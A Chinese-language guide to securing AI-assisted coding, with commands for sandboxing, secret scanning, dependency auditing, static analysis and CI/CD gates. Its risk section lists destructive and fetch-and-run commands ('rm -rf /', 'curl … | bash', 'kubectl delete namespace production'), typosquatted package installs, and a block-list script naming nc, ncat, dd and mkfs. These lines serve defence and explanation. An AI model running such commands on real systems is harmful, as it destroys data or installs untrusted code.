AI 写代码前,先把这套安全护栏搭起来:从沙箱到扫描的完整命令清单
AI编程 安全加固方案|附完整命令
随着 AI 编程工具的快速普及,越来越多团队开始在日常开发中使用 AI 生成代码、补全函数、编写脚本、生成测试用例,甚至直接让 AI 执行项目初始化、依赖安装、代码重构和自动化部署。AI 编程显著提升了研发效率,但同时也带来了新的安全风险:生成代码可能存在漏洞,自动安装的依赖可能夹带恶意包,提示词中可能泄露密钥,AI 代理可能误执行危险命令,开发环境与生产环境边界可能被打穿。
因此,企业和个人开发者在使用 AI 编程时,不能只关注“写得快”,更要关注“写得安全、跑得可控、改得可追踪”。本文将从开发环境隔离、权限控制、密钥管理、依赖安全、代码扫描、容器加固、Git 安全、CI/CD 安全、AI Agent 执行限制等多个方面,给出一套可落地的 AI 编程安全加固方案,并附上完整命令示例。
一、AI 编程的主要安全风险
在制定加固方案之前,需要先明确 AI 编程环境中常见的风险点。
1. AI 生成代码存在安全漏洞
AI 生成的代码可能看起来语法正确、逻辑完整,但并不代表安全。常见问题包括:
- SQL 注入;
- 命令注入;
- XSS 跨站脚本;
- SSRF 服务端请求伪造;
- 不安全的反序列化;
- 明文存储密码;
- 缺少权限校验;
- 错误的加密算法使用;
- 日志泄露敏感信息。
2. AI 可能引入恶意或高危依赖
AI 生成项目时,经常会自动推荐依赖包。攻击者可能利用拼写相似包、废弃包、恶意包投毒供应链。例如:
npm install expresss
pip install reqeusts
这类包名与热门包相似,但可能并非官方包。
3. 提示词泄露敏感信息
开发者为了让 AI 更好地理解项目,可能直接粘贴:
- 数据库连接串;
- API Token;
- 私钥;
- 生产环境配置;
- 用户数据;
- 内部接口文档;
- 源代码仓库地址;
- 业务规则和风控逻辑。
一旦这些信息进入外部 AI 服务,就可能造成合规和数据安全风险。
4. AI Agent 误执行危险命令
具备执行命令能力的 AI Agent,可能在未充分确认的情况下执行:
rm -rf /
chmod -R 777 /
curl http://unknown-site/install.sh | bash
docker system prune -a
kubectl delete namespace production
如果没有沙箱、权限控制和审批机制,后果可能非常严重。
5. 生成代码缺少审计链路
AI 生成代码如果直接提交到主分支,可能带来:
- 无人工 Review;
- 无测试覆盖;
- 无安全扫描;
- 无变更记录;
- 无责任归属;
- 无法回滚定位。
因此,AI 编程必须纳入标准软件工程治理体系。
二、总体加固思路
AI 编程安全加固可以遵循以下原则:
| 原则 | 说明 |
|---|---|
| 最小权限 | AI 工具只能访问必要目录、必要命令和必要资源 |
| 环境隔离 | AI 运行环境与宿主机、生产环境隔离 |
| 密钥不落地 | 不向 AI 暴露真实密钥、生产配置和敏感数据 |
| 依赖可信 | 所有第三方包必须经过来源校验和漏洞扫描 |
| 代码可审计 | AI 生成代码必须经过 Review、测试和扫描 |
| 命令可控 | 高危命令必须阻断或人工确认 |
| 日志可追踪 | AI 修改、执行、提交都应有记录 |
| 默认拒绝 | 不确定的操作默认禁止,而不是默认允许 |
三、开发环境隔离加固
AI 编程工具不应直接在个人主机或生产机器上运行高权限命令。推荐使用容器、虚拟机或受限用户来隔离环境。
四、创建独立低权限用户
首先,为 AI 编程创建单独的系统用户,避免使用 root 或管理员账号。
Ubuntu / Debian
sudo adduser ai-dev
sudo usermod -aG sudo ai-dev
如果你不希望该用户拥有 sudo 权限,可以不要执行第二条命令。
创建专门的工作目录:
sudo mkdir -p /workspace/ai-projects
sudo chown -R ai-dev:ai-dev /workspace/ai-projects
sudo chmod 750 /workspace/ai-projects
切换用户:
su - ai-dev
cd /workspace/ai-projects
禁止 AI 用户免密 sudo
检查 sudo 配置:
sudo visudo
确保不存在类似配置:
ai-dev ALL=(ALL) NOPASSWD:ALL
如果存在,应删除或注释。
五、使用 Docker 构建 AI 编程沙箱
使用 Docker 可以为 AI 编程提供隔离环境。以下示例创建一个受限 Node.js/Python 开发容器。
1. 创建 Dockerfile
mkdir -p ~/ai-sandbox
cd ~/ai-sandbox
cat > Dockerfile <<'EOF'
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
vim \
ca-certificates \
python3 \
python3-pip \
nodejs \
npm \
jq \
ripgrep \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m -s /bin/bash aiuser
WORKDIR /workspace
USER aiuser
CMD ["/bin/bash"]
EOF
2. 构建镜像
docker build -t ai-code-sandbox:latest .
3. 启动受限容器
docker run -it --rm \
--name ai-code-sandbox \
--cpus="2" \
--memory="4g" \
--pids-limit=256 \
--network=bridge \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=512m \
--tmpfs /home/aiuser:rw,nosuid,size=1g \
-v "$PWD/project":/workspace:rw \
--security-opt no-new-privileges \
--cap-drop ALL \
ai-code-sandbox:latest
参数说明:
--cpus="2":限制 CPU;--memory="4g":限制内存;--pids-limit=256:限制进程数;--read-only:根文件系统只读;--tmpfs:仅允许指定临时目录可写;--cap-drop ALL:删除 Linux capabilities;--security-opt no-new-privileges:禁止提权;-v "$PWD/project":/workspace:rw:仅挂载项目目录。
如果 AI Agent 需要执行命令,应尽量只在该容器中执行。
六、限制容器网络访问
AI 编程有时并不需要访问外网,尤其是在分析本地代码时。可以直接关闭网络:
docker run -it --rm \
--name ai-code-no-network \
--network=none \
-v "$PWD/project":/workspace:rw \
--security-opt no-new-privileges \
--cap-drop ALL \
ai-code-sandbox:latest
如果需要安装依赖,可以短暂开启网络,安装完成后关闭网络运行安全扫描和测试。
也可以使用防火墙限制容器访问范围。查看 Docker 网桥:
docker network inspect bridge
使用 iptables 限制容器访问内网敏感地址:
sudo iptables -I DOCKER-USER -d 169.254.169.254 -j DROP
sudo iptables -I DOCKER-USER -d 127.0.0.0/8 -j DROP
sudo iptables -I DOCKER-USER -d 10.0.0.0/8 -j DROP
sudo iptables -I DOCKER-USER -d 172.16.0.0/12 -j DROP
sudo iptables -I DOCKER-USER -d 192.168.0.0/16 -j DROP
其中 169.254.169.254 是很多云厂商元数据服务地址,必须重点防护,防止 SSRF 或恶意脚本窃取临时凭证。
保存规则:
sudo apt-get install -y iptables-persistent
sudo netfilter-persistent save
七、密钥与敏感信息保护
AI 编程过程中,绝不能把真实密钥、生产数据库密码、云平台 AK/SK、私钥文件直接提供给 AI。
1. 使用示例配置文件
创建 .env.example:
cat > .env.example <<'EOF'
APP_ENV=development
DATABASE_URL=postgresql://user:password@localhost:5432/app_db
REDIS_URL=redis://localhost:6379/0
JWT_SECRET=please_change_me
OPENAI_API_KEY=your_api_key_here
EOF
真实 .env 文件必须加入 .gitignore:
cat >> .gitignore <<'EOF'
# environment files
.env
.env.*
!.env.example
# secrets
*.pem
*.key
*.p12
*.pfx
id_rsa
id_ed25519
EOF
2. 扫描仓库中的密钥
安装 Gitleaks:
curl -sSfL https://raw.githubusercontent.com/gitleaks/gitleaks/master/install.sh | sh -s -- -b /usr/local/bin
扫描当前仓库:
gitleaks detect --source . --verbose
生成报告:
gitleaks detect --source . --report-format json --report-path gitleaks-report.json
3. 使用 TruffleHog 扫描历史提交
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest filesystem /repo
扫描 Git 仓库历史:
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo
4. 如果密钥已经泄露
如果发现密钥已经被提交,不能只从 Git 中删除文件,必须立即轮换密钥:
git rm --cached .env
git commit -m "remove leaked env file"
然后到对应云厂商、数据库、第三方平台后台禁用旧密钥,并生成新密钥。
如需清理 Git 历史,可使用 git filter-repo:
pip install git-filter-repo
git filter-repo --path .env --invert-paths
强制推送前务必通知团队成员:
git push origin --force --all
git push origin --force --tags
八、依赖供应链安全加固
AI 生成项目时经常会自动写出安装命令。任何依赖都应经过确认,而不是直接复制执行。
九、Node.js 项目安全命令
1. 禁止自动执行安装脚本
很多 npm 包会在安装时执行 preinstall、postinstall 脚本。为降低风险,可以使用:
npm install --ignore-scripts
如果必须执行脚本,应先检查包内容和来源。
2. 审计 npm 依赖漏洞
npm audit
自动修复低风险问题:
npm audit fix
谨慎使用强制修复:
npm audit fix --force
查看过期依赖:
npm outdated
3. 固定依赖版本
使用 package-lock.json:
npm install --package-lock-only
npm ci
在 CI/CD 中优先使用:
npm ci --ignore-scripts
4. 检查恶意包名称
查看包信息:
npm view express
npm view expresss
查看维护者:
npm owner ls express
查看包下载地址:
npm view express dist.tarball
十、Python 项目安全命令
1. 使用虚拟环境
python3 -m venv .venv
source .venv/bin/activate
升级基础工具:
python -m pip install --upgrade pip setuptools wheel
2. 固定依赖版本
pip freeze > requirements.txt
安装固定版本:
pip install -r requirements.txt
更安全的方式是使用哈希校验:
pip install pip-tools
pip-compile --generate-hashes requirements.in
pip install --require-hashes -r requirements.txt
3. 扫描 Python 依赖漏洞
安装 pip-audit:
pip install pip-audit
扫描当前环境:
pip-audit
扫描 requirements:
pip-audit -r requirements.txt
4. 使用 Safety 扫描
pip install safety
safety check -r requirements.txt
十一、代码安全扫描
AI 生成代码必须经过静态分析和安全扫描,不能只靠人工肉眼判断。
十二、使用 Semgrep 扫描多语言代码
安装 Semgrep:
python3 -m pip install semgrep
基础扫描:
semgrep scan --config auto
使用 OWASP 规则:
semgrep scan --config p/owasp-top-ten
扫描并输出 JSON:
semgrep scan --config auto --json --output semgrep-report.json
忽略依赖目录:
semgrep scan --config auto \
--exclude node_modules \
--exclude .venv \
--exclude dist \
--exclude build
十三、使用 Bandit 扫描 Python 代码
安装:
pip install bandit
扫描整个项目:
bandit -r .
排除虚拟环境:
bandit -r . -x .venv,tests
输出 JSON:
bandit -r . -f json -o bandit-report.json
十四、使用 ESLint 加固 JavaScript / TypeScript
安装:
npm install -D eslint @eslint/js typescript typescript-eslint
初始化:
npx eslint --init
扫描:
npx eslint .
自动修复:
npx eslint . --fix
建议额外安装安全规则插件:
npm install -D eslint-plugin-security
在配置中启用安全规则后执行:
npx eslint .
十五、Git 提交流程加固
AI 生成的代码不应直接进入主分支。推荐启用分支保护、签名提交和提交前扫描。
1. 创建 AI 专用分支
git checkout -b ai/generated-feature
2. 查看 AI 修改内容
git status
git diff
3. 分块提交
git add -p
git commit -m "feat: add user login module generated with review"
4. 启用 GPG 签名提交
生成 GPG Key:
gpg --full-generate-key
查看 Key:
gpg --list-secret-keys --keyid-format=long
配置 Git:
git config --global user.signingkey YOUR_GPG_KEY_ID
git config --global commit.gpgsign true
提交:
git commit -S -m "secure: add validation for user input"
5. 配置 pre-commit 钩子
安装:
pip install pre-commit
创建配置:
cat > .pre-commit-config.yaml <<'EOF'
repos:
- repo: https://github.com/gitleaks/gitleaks
rev: v8.18.4
hooks:
- id: gitleaks
- repo: https://github.com/semgrep/pre-commit
rev: v1.70.0
hooks:
- id: semgrep
args: ["--config", "auto"]
- repo: https://github.com/PyCQA/bandit
rev: 1.7.8
hooks:
- id: bandit
args: ["-r", "."]
EOF
安装钩子:
pre-commit install
手动执行:
pre-commit run --all-files
十六、AI Agent 命令执行白名单
如果你使用的是具备命令执行能力的 AI Agent,建议采用命令白名单策略,只允许执行安全命令,例如:
lscatgreprggit diffgit statusnpm testpytestgo testmvn test
禁止或需要人工确认的命令包括:
rm -rfchmod -R 777curl | bashwget | shsudosusshscpkubectl deleteterraform destroydocker system pruneddmkfsiptablesncncat
可以编写一个简单的 Bash 包装器,对命令进行拦截。
创建安全执行脚本
cat > safe-run.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
CMD="$*"
BLOCK_PATTERNS=(
"rm -rf /"
"rm -rf /*"
"chmod -R 777"
"curl .*|.*bash"
"wget .*|.*sh"
"sudo "
"su "
"ssh "
"scp "
"kubectl delete"
"terraform destroy"
"docker system prune"
"mkfs"
"dd if="
"iptables"
"nc "
"ncat "
)
for pattern in "${BLOCK_PATTERNS[@]}"; do
if [[ "$CMD" =~ $pattern ]]; then
echo "Blocked dangerous command: $CMD"
exit 1
fi
done
echo "Executing: $CMD"
bash -lc "$CMD"
EOF
chmod +x safe-run.sh
使用方式:
./safe-run.sh "git status"
./safe-run.sh "npm test"
./safe-run.sh "pytest"
测试危险命令是否被阻断:
./safe-run.sh "rm -rf /"
应输出:
Blocked dangerous command: rm -rf /
注意:这个脚本只是基础示例,生产环境应使用更严格的命令解析、审计日志和人工审批机制。
十七、容器镜像安全扫描
如果 AI 生成了 Dockerfile 或容器镜像,也必须进行扫描。
1. 安装 Trivy
Ubuntu / Debian:
sudo apt-get install -y wget apt-transport-https gnupg lsb-release
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | \
gpg --dearmor | sudo tee /usr/share/keyrings/trivy.gpg > /dev/null
echo "deb [signed-by=/usr/share/keyrings/trivy.gpg] https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | \
sudo tee /etc/apt/sources.list.d/trivy.list
sudo apt-get update
sudo apt-get install -y trivy
2. 扫描文件系统
trivy fs .
3. 扫描镜像
trivy image ai-code-sandbox:latest
4. 只显示高危和严重漏洞
trivy image --severity HIGH,CRITICAL ai-code-sandbox:latest
5. 扫描 IaC 配置
trivy config .
十八、Dockerfile 安全基线
AI 经常会生成不安全的 Dockerfile,例如使用 root 用户、安装过多工具、复制敏感文件。建议使用以下安全基线。
示例 Dockerfile
cat > Dockerfile.secure <<'EOF'
FROM node:20-alpine
WORKDIR /app
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
COPY package*.json ./
RUN npm ci --omit=dev --ignore-scripts
COPY --chown=appuser:appgroup . .
USER appuser
ENV NODE_ENV=production
EXPOSE 3000
CMD ["node", "server.js"]
EOF
构建:
docker build -f Dockerfile.secure -t myapp:secure .
运行:
docker run -d \
--name myapp \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=128m \
--cap-drop ALL \
--security-opt no-new-privileges \
-p 3000:3000 \
myapp:secure
十九、CI/CD 安全加固
AI 编程必须接入 CI/CD 安全检查,避免“本地能跑就上线”。
以下是 GitHub Actions 示例。
创建工作流
mkdir -p .github/workflows
cat > .github/workflows/security.yml <<'EOF'
name: Security Check
on:
pull_request:
branches: [ "main" ]
push:
branches: [ "main" ]
permissions:
contents: read
security-events: write
jobs:
security:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Gitleaks Scan
uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Semgrep Scan
uses: semgrep/semgrep-action@v1
with:
config: auto
- name: Trivy FS Scan
uses: aquasecurity/trivy-action@master
with:
scan-type: fs
scan-ref: .
severity: HIGH,CRITICAL
exit-code: "1"
- name: Node Audit
if: hashFiles('package-lock.json') != ''
run: npm ci --ignore-scripts && npm audit --audit-level=high
- name: Python Audit
if: hashFiles('requirements.txt') != ''
run: |
python -m pip install --upgrade pip
pip install pip-audit
pip-audit -r requirements.txt
EOF
提交:
git add .github/workflows/security.yml
git commit -m "ci: add security checks"
git push
二十、数据库与本地服务安全
AI 编程时经常会生成数据库连接代码,建议开发环境数据库也采用最小权限账号。
PostgreSQL 创建低权限用户
sudo -u postgres psql
执行 SQL:
CREATE DATABASE app_dev;
CREATE USER app_user WITH PASSWORD 'change_me_strong_password';
GRANT CONNECT ON DATABASE app_dev TO app_user;
\c app_dev
GRANT USAGE ON SCHEMA public TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app_user;
ALTER DEFAULT PRIVILEGES IN SCHEMA public
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLES TO app_user;
退出:
\q
不要在开发代码中使用 PostgreSQL 超级用户:
postgres
二十一、日志脱敏与测试数据脱敏
AI 分析问题时,开发者经常会粘贴日志。日志中可能包含手机号、邮箱、身份证、Token、Cookie 等信息。建议先进行脱敏。
使用 sed 简单脱敏
脱敏邮箱:
sed -E 's/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/[EMAIL]/g' app.log
脱敏手机号:
sed -E 's/1[3-9][0-9]{9}/[PHONE]/g' app.log
脱敏 Bearer Token:
sed -E 's/Bearer[[:space:]][A-Za-z0-9._~+\/=-]+/Bearer [TOKEN]/g' app.log
组合输出:
cat app.log | \
sed -E 's/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/[EMAIL]/g' | \
sed -E 's/1[3-9][0-9]{9}/[PHONE]/g' | \
sed -E 's/Bearer[[:space:]][A-Za-z0-9._~+\/=-]+/Bearer [TOKEN]/g' \
> app.masked.log
将脱敏后的日志再提供给 AI:
cat app.masked.log
二十二、Prompt 使用安全规范
为了降低信息泄露风险,团队应制定 AI 提示词规范。
推荐做法
可以向 AI 提供:
- 抽象后的业务描述;
- 脱敏后的错误日志;
- 局部代码片段;
- 示例配置文件;
- Mock 数据;
- 非生产环境信息;
- 已公开的技术文档。
禁止提供
不要向 AI 提供:
- 生产数据库地址;
- 真实访问令牌;
- 用户隐私数据;
- 内部账号密码;
- 私钥证书;
- 未公开的商业合同;
- 风控策略细节;
- 云平台长期 AK/SK;
- 生产环境 Kubernetes 配置。
安全提示词模板
你是一名安全优先的软件工程师。
请基于以下脱敏后的代码进行分析。
要求:
1. 不要引入未经维护的第三方依赖;
2. 不要使用 eval、exec、shell=True 等高风险写法;
3. 所有用户输入必须校验;
4. 数据库查询必须使用参数化查询;
5. 不要输出任何密钥、Token 或真实连接串;
6. 给出单元测试和安全测试建议。
以下是代码:
二十三、AI 生成代码 Review 清单
在合并 AI 生成代码前,建议按以下清单检查。
安全检查项
- 是否存在硬编码密钥?
- 是否使用了不安全随机数?
- 是否存在 SQL 拼接?
- 是否直接执行用户输入?
- 是否缺少鉴权和权限校验?
- 是否把敏感数据写入日志?
- 是否引入未知依赖?
- 是否缺少错误处理?
- 是否暴露调试接口?
- 是否默认开启 Debug 模式?
- 是否使用了过时加密算法,如 MD5、SHA1?
- 是否有路径遍历风险?
- 是否存在 SSRF 风险?
- 是否上传文件类型和大小限制?
- 是否具备单元测试?
- 是否通过 SAST、SCA、Secret Scan?
合并前命令
git status
git diff main...HEAD
gitleaks detect --source .
semgrep scan --config auto
trivy fs .
npm audit || true
pip-audit || true
pytest || true
npm test || true
二十四、Linux 主机基础加固
如果 AI 编程运行在 Linux 主机上,还需要做基础安全加固。
更新系统
sudo apt-get update
sudo apt-get upgrade -y
开启防火墙
sudo apt-get install -y ufw
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw enable
sudo ufw status verbose
禁止 root SSH 登录
编辑 SSH 配置:
sudo vim /etc/ssh/sshd_config
设置:
PermitRootLogin no
PasswordAuthentication no
重启 SSH:
sudo systemctl restart ssh
安装 Fail2ban
sudo apt-get install -y fail2ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
sudo fail2ban-client status
二十五、推荐的日常安全工作流
下面是一套适合个人和团队使用的 AI 编程安全流程。
1. 新建独立分支
git checkout -b ai/task-name
2. 启动沙箱
docker run -it --rm \
--name ai-task \
--network=none \
-v "$PWD":/workspace:rw \
--security-opt no-new-privileges \
--cap-drop ALL \
ai-code-sandbox:latest
3. 让 AI 只分析必要文件
git diff
rg "TODO|FIXME|password|secret|token" .
4. 执行测试
npm test
pytest
go test ./...
5. 执行安全扫描
gitleaks detect --source .
semgrep scan --config auto
trivy fs .
6. 人工 Review
git diff main...HEAD
7. 提交并发起 Pull Request
git add .
git commit -S -m "feat: implement feature with security review"
git push origin ai/task-name
二十六、一键安全检查脚本
可以为项目准备一个统一的安全检查脚本,方便每次合并前执行。
cat > security-check.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
echo "==> Git status"
git status --short
echo "==> Secret scan: gitleaks"
if command -v gitleaks >/dev/null 2>&1; then
gitleaks detect --source .
else
echo "gitleaks not installed, skip"
fi
echo "==> Semgrep scan"
if command -v semgrep >/dev/null 2>&1; then
semgrep scan --config auto
else
echo "semgrep not installed, skip"
fi
echo "==> Trivy filesystem scan"
if command -v trivy >/dev/null 2>&1; then
trivy fs --severity HIGH,CRITICAL .
else
echo "trivy not installed, skip"
fi
echo "==> Node audit"
if [ -f package-lock.json ]; then
npm ci --ignore-scripts
npm audit --audit-level=high
fi
echo "==> Python audit"
if [ -f requirements.txt ]; then
if command -v pip-audit >/dev/null 2>&1; then
pip-audit -r requirements.txt
else
echo "pip-audit not installed, skip"
fi
fi
echo "==> Tests"
if [ -f package.json ]; then
npm test || true
fi
if [ -d tests ] || ls test_*.py >/dev/null 2>&1; then
pytest || true
fi
echo "==> Security check completed"
EOF
chmod +x security-check.sh
执行:
./security-check.sh
二十七、企业级 AI 编程治理建议
如果是在企业内部大规模使用 AI 编程,还应建立更系统的治理机制。
1. 建立 AI 使用边界
明确哪些数据可以输入 AI,哪些数据禁止输入 AI。建议按数据等级划分:
| 数据类型 | 是否允许输入 AI |
|---|---|
| 公开技术资料 | 允许 |
| 脱敏日志 | 允许 |
| 内部普通代码片段 | 审批后允许 |
| 生产配置 | 禁止 |
| 用户隐私数据 | 禁止 |
| 密钥、证书、Token | 禁止 |
| 核心算法和风控策略 | 严格审批 |
2. 建立 AI 代码标识机制
可以要求提交信息中标注 AI 辅助:
git commit -m "feat: add report export module
AI-Assisted: true
Reviewed-by: security-team"
3. 建立强制安全门禁
Pull Request 必须满足:
- 至少一名人工 Reviewer;
- 所有测试通过;
- Secret Scan 通过;
- SAST 扫描通过;
- SCA 扫描通过;
- 高危漏洞不得合并;
- 生产配置不得出现在代码中。
4. 建立 AI Agent 审计
记录 AI Agent 的:
- 输入提示词摘要;
- 访问文件列表;
- 执行命令列表;
- 修改文件列表;
- 生成代码范围;
- 审批人;
- 合并人。
二十八、总结
AI 编程不是简单地“让 AI 帮我写代码”,而是将 AI 纳入软件研发体系的一部分。它既能提升效率,也会放大安全问题:过去开发者手动犯一次错,现在 AI 可能在几秒钟内批量生成同类漏洞;过去依赖安装需要人工判断,现在 AI 可能直接给出一条危险命令;过去密钥泄露多发生在提交阶段,现在可能在提示词阶段就已经泄露。
因此,AI 编程安全加固的核心不是禁止使用 AI,而是让 AI 在受控环境中工作:用沙箱限制运行边界,用最小权限降低破坏面,用密钥扫描防止泄露,用依赖审计降低供应链风险,用静态扫描发现代码漏洞,用 CI/CD 门禁保障合并质量,用人工 Review 保留最终判断。
一套可执行的安全基线至少应包括:
# 1. 创建隔离分支
git checkout -b ai/task
# 2. 扫描密钥
gitleaks detect --source .
# 3. 扫描代码
semgrep scan --config auto
# 4. 扫描依赖和文件系统
trivy fs .
# 5. Node 项目审计
npm audit
# 6. Python 项目审计
pip-audit -r requirements.txt
# 7. 执行测试
npm test
pytest
# 8. 查看差异
git diff main...HEAD
# 9. 签名提交
git commit -S -m "feat: secure AI-assisted implementation"
只要做到“环境隔离、权限最小、密钥不露、依赖可信、代码可审计、命令可控”,AI 编程就可以从高风险的效率工具,变成安全可控的研发加速器。